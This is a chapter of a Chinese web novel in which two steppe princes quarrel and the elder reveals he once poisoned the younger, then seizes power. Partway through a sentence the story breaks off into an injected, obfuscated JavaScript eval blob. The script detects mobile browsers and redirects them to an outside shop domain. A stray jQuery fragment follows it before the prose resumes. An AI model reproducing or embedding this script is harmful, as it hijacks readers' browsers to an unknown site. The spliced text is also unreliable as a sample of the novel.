51. 第五十一章 易主
    暮色将至。

    营帐内烛火亮起,谢云清将面前的纸推到一旁,又拿起一张新纸,皱眉在纸上写着些什么。

    废纸堆了一张又一张,谢云清有些烦躁地搁下笔,揉着自己的眉心。

    思绪乱得一团糟,谢云清强迫自己冷静下来,正欲将面前的纸推到一旁,却忽地被一只手拦住了。

    冰凉的触感隔着袖子传向手腕,谢云清抬头望去。

    一袭黄袍映入眼帘,那少年感受到谢云清的目光,勾起了嘴角。瞧见他脸庞上的疤痕,谢云清有些惊疑不定道:“你是……”

    那少年也不客气,顺势坐到桌上,拿起茶壶“咕嘟咕嘟”往自己嘴里灌了几口水,抹去嘴上的水渍,才满意道:“如你所见,梦中人。”

    “写啥呢?念我听听?”

    “……与你无关。”

    少年闻声,笑道:“不相信我?”

    谢云清将东西尽数收到一旁,护崽似的,一边捂着纸,一边皱眉道:“你用了什么方法入我的梦?”

    少年懒洋洋回他:“你猜呀?”

    语气还贱兮兮的,听起来就很欠打。谢云清忍无可忍,拔出匕首,瞬间架在了他的脖颈,冷声道:“我没心思和你瞎扯。”

    血珠溢出,少年却毫不在意似的,双指夹住刀刃,将匕首往旁边推了推,“年轻人,别那么浮躁。”

    话罢,他唇角笑意更甚。一阵异光闪过,谢云清盯着那少年的眼睛看了许久,终是选择将匕首收了回来。

    少年见状,一翻身跳下了桌,坐在谢云清面前翘起了二郎腿,“介绍一下,我叫顾东风。”

    “……谢云清。”

    “我知道你。”

    顾东风无神的双眼微微弯起,接道:“你却不知道我。”

    “不过那并不重要,你只需要知道,我不会害你就行了。”

    “你的目的是什么?”

    “目的?”

    顾东风闻声,忽地疯疯癫癫地笑了起来。瞧见他眼睛的泪花,谢云清额角青筋隐隐暴起,忍不住骂道:“你是疯子吗?”

    顾东风止住笑声,恬不知耻地承认道:“我当然是。”

    谢云清没脾气了。

    脖颈的鲜血逐渐干涸,顾东风撑着脸,懒洋洋道:“你打不过我,所以你现在唯一能做的,只有信我。”

    四目相对,顾东风敲了敲桌子,笑眯眯道:“坐下来,聊聊吧?”

    谢云清攥紧双拳,半晌后,终是忍气吞声地坐了下来。

    *

    烛火闪烁。

    呼延烈伸出手一只手护住火焰,盯着手中的信看了许久,吐了口气。

    信笺被他放回桌上,他似乎是出了神,又移过目光盯着烛影看。

    营帐内安静得可怕,直到一阵鸟鸣声传来,呼延烈才回了神。

    烛火灼烧着指尖,呼延烈迟钝地收回手,闭了闭眼,有些疲倦地问道:“这信是他写的?”

    黑影闪过,那人跪在呼延烈面前,低声应道:“是。”

    呼延烈忽地沉默了。

    指尖伤口隐隐作痛,他低头望去,原来是起了水泡。

    等水泡破开,伤口会慢慢长好,可同时也会留下一道不可磨灭的疤痕。

    呼延烈又出了神。

    他总出神。

    沉默许久,直到烛泪滴在手背上,他终于哑声开了口:“回去吧。”

    “是。”

    偌大的营帐又剩下他独自一人。

    他从未如此孤独,像是离群的野狼,永远找不到回家的路。

    那些呼之欲出的话被他一次又一次咽下肚,那些复杂又低落的情绪被他一次又一次压制。

    他真的好累。

    如果他不是李驰的孩子就好了。

    这样他就可以心安理得地享受呼延云对他的偏爱,这样他就可以肆无忌惮地回报呼延真。

    可偏偏他是。

    眼泪浸湿信笺,呼延真闭上眼,趴在桌上无声地哭泣着。

    他自小被娇惯着长大,从未想过有一天自己会落到这般境地。

    弑父,篡位,报仇。

    呼延云临死前的模样历历在目。

    他那日动手时,心情异常平静。他本该平静一辈子,甚至于因为大仇得报而欢欣一辈子——

    可他,怎么会突然那么难过呢。

    他不知道自己后悔的情绪从何而来,理智告诉他,这种情绪大错特错。可情感却告诉他,他理应如此。

    大抵情绪总归带着滞后性,大抵人因为人总会变,所以人总在做完决定之后后悔。

    但后悔之后又能做什么?

    世界上没有后悔药,后悔唯一的作用,只是让人于每个深夜辗转难眠,饱受折磨罢了。

    没有人愿意经受折磨,可偏偏每个人都在后悔。

    人总是这样,聪明又愚蠢,清醒地沉沦。

    呼延烈想,也许他应该休息,因为他感受到了一丝困意。但他实在没心思睡觉,于是他擦干眼泪,一步一步出了营帐。

    繁星闪烁,草原的夜景一如既往地漂亮。呼延烈却兀自加快脚步,连一丝目光都不肯分出来。

    他也许确定了终点,也许还走得动。

    可终点究竟是对是错,谁又说得清。

    呼延真营长内的烛火早已熄灭,呼延烈停下脚步,喘了口气,在原地停留半晌,才掀开营帐走了进去。

    一片黑暗。

    呼延真的呼吸声清晰可闻,呼延烈放轻脚步,刚走到榻前,那呼吸声便乱了节奏。

    呼延真醒了。

    窸窸窣窣的声音传来,呼延真连身都懒得翻,只是冷冷道:“滚出去。”

    呼延烈垂眼看着他,没说话。他摸黑坐到呼延真身旁,喃喃道:“呼延真,我真恨你啊。”

    呼延真冷笑一声,道:‘’我也恨你。”

    “我恨你命比我好,恨父王的眼里只有你。更恨你对父王下手,将我禁锢于此。”

    “呼延烈,你和你的周人母亲一样,是条养不熟的白眼狼。”

    “不许说我阿娘!”

    被触到逆鳞,呼延烈忽地暴起,死死掐住了呼延真的脖子。呼延真哈哈大笑一声,继续骂道:“狗杂种,你们周人从来如此,薄情自私,冠冕堂皇!”

    “你又好到哪儿去!你和呼延云一样,都是无情又冷血的野兽,你们草菅人命,得不到的东西就强抢,你又有什么资格指责我?”

    呼延真咳了几声,嘲讽道:“是,我们当然是野兽,毕竟我们不讲仁义道德,不虚伪。而你——一边享受着父王带给你的便利,又一边唾弃着他,虚伪至极!”

    “你敢说你的吃穿用度没有沾着鲜血,你敢说你活得干干净净吗,你敢吗!”

    “乱世本就是弱肉强食,自己没有能力,活该被奴役!”

    “啪——”

    巴掌声在黑夜之中异常清脆,呼延真舔了舔犬齿,尝到口中的血腥味,道:“你终于对我动手了。”

    呼延烈红着眼眶,似乎是因为气急了,胸口起伏剧烈:“你不许这么说我阿娘。”

    呼延真似乎是被气笑了,破口大骂道:“她究竟给你灌了什么迷魂汤?你一岁的时候,她故意把

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252109|151559||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你忘在外面,若不是我及时发现,你现在已经没命了!”

    “从小到大,你的衣食住行都由我照料,父王最疼你,什么都惯着你。可她呢?她做了什么?她什么也没做!她只是把你生下来,然后想杀死你!”

    “你闭嘴!”

    呼延烈嘴唇颤抖着,极力否认道:“不是的,阿娘只是生病了,等她病好之后,她就不会再这么对我了。”

    “她现在的病已经好了很多了,只要再等一段时间……对,再等一段时间,她就会接纳我了。”

    呼延烈不断重复着自己的话,呼延真见状,闭眼道:

    “蠢货,你迟早被自己害死。”

    呼延烈迟钝地将目光移到呼延真身上,低声道:“我知道是你辛辛苦苦养我长大,我知道你对我好,但是我……”

    “养你长大不过是因为父王的命令,别自作多情了,呼延烈,我每时每刻都想杀了你。”

    呼延烈的话音戛然而止。

    察觉到他情绪的变化,呼延真嗤笑一声,“你不会真觉得我是真心对你好的吧?你小时候生的那几次大病,你觉得是意外吗?”

    “什么意思?”

    呼延烈嗫嚅着嘴唇开口询问,呼延真语气恶劣又残忍:

    “好弟弟,你真是蠢得可怜。”

    “父王为什么突然不让我照顾你了,难道你真的全然不知吗?”

    思绪越来越混乱,呼延烈捂着耳朵,道:“我不知道,我也不想知道!”

    呼延真又大笑一声,“当然是因为,你生的那几场大病,都是我的刻意为之啊。”

    “你闭嘴!”

    “我把毒下在你最爱吃的糕点里,你还记得吗?你小时候最爱吃周人俘虏做的绿豆糕,可父王怕你吃坏牙,便给你规定了每日的分量。”

    “你以为我会平白无故地对你好?哈哈哈……真是天真,我那时拿给你的绿豆糕,都下了剧毒。”

    “可偏偏你毫无察觉,次次都对我感恩戴德。”

    “但你偏偏又没死。”

    “呼延烈,你的命太好了。你的母亲是父王最爱的女人,你从一出生就沾着她的光。”

    “我嫉妒你,但更羡慕你。”

    “一切我需要拼尽全力才能得到的东西,对你来说却唾手可得。父王宠爱你,你本应该顺理成章继位,本应该延续你从小到大的好运气,可惜你亲手断送了自己的前程。”

    “你杀了父王,却不杀我。”

    “呼延烈,我教过你,心软的人,都该死。”

    话罢,锁链瞬间被挣脱。呼延真一脚将呼延烈踹倒在地。呼延烈脸色煞白,吐出一口鲜血,喃喃道:“原来,都是骗我的。”

    “原来都是假的。”

    他甚至没有挣扎,只是安静地趴在地上,注视着眼前的鲜血。

    红得刺眼。

    口腔中的铁锈味不断蔓延,眼泪滴下手背,呼延烈终于崩溃了,说:“你怎么能骗我……呼延真,你怎么能骗我!怎么能骗我啊……”

    他痛苦地抓着自己的脸,生生将自己的头发扯下了一大把。呼延真强迫自己移开目光,嘲讽道:“后悔了吗?要是你当初把我杀了,便不会沦落到这般境地了。”

    “不过后悔了也没用,蠢弟弟,你没能力坐稳这个位置,我便来替你坐。”

    “本来还想再等些时日……但既然都撕破脸皮了,那我便没必要再装了。”

    “飞州!把他给我看好!其余人跟我出去,把那些不长眼的老东西全杀了!杀完按人头数量领赏!”

    “是!”

    “是!”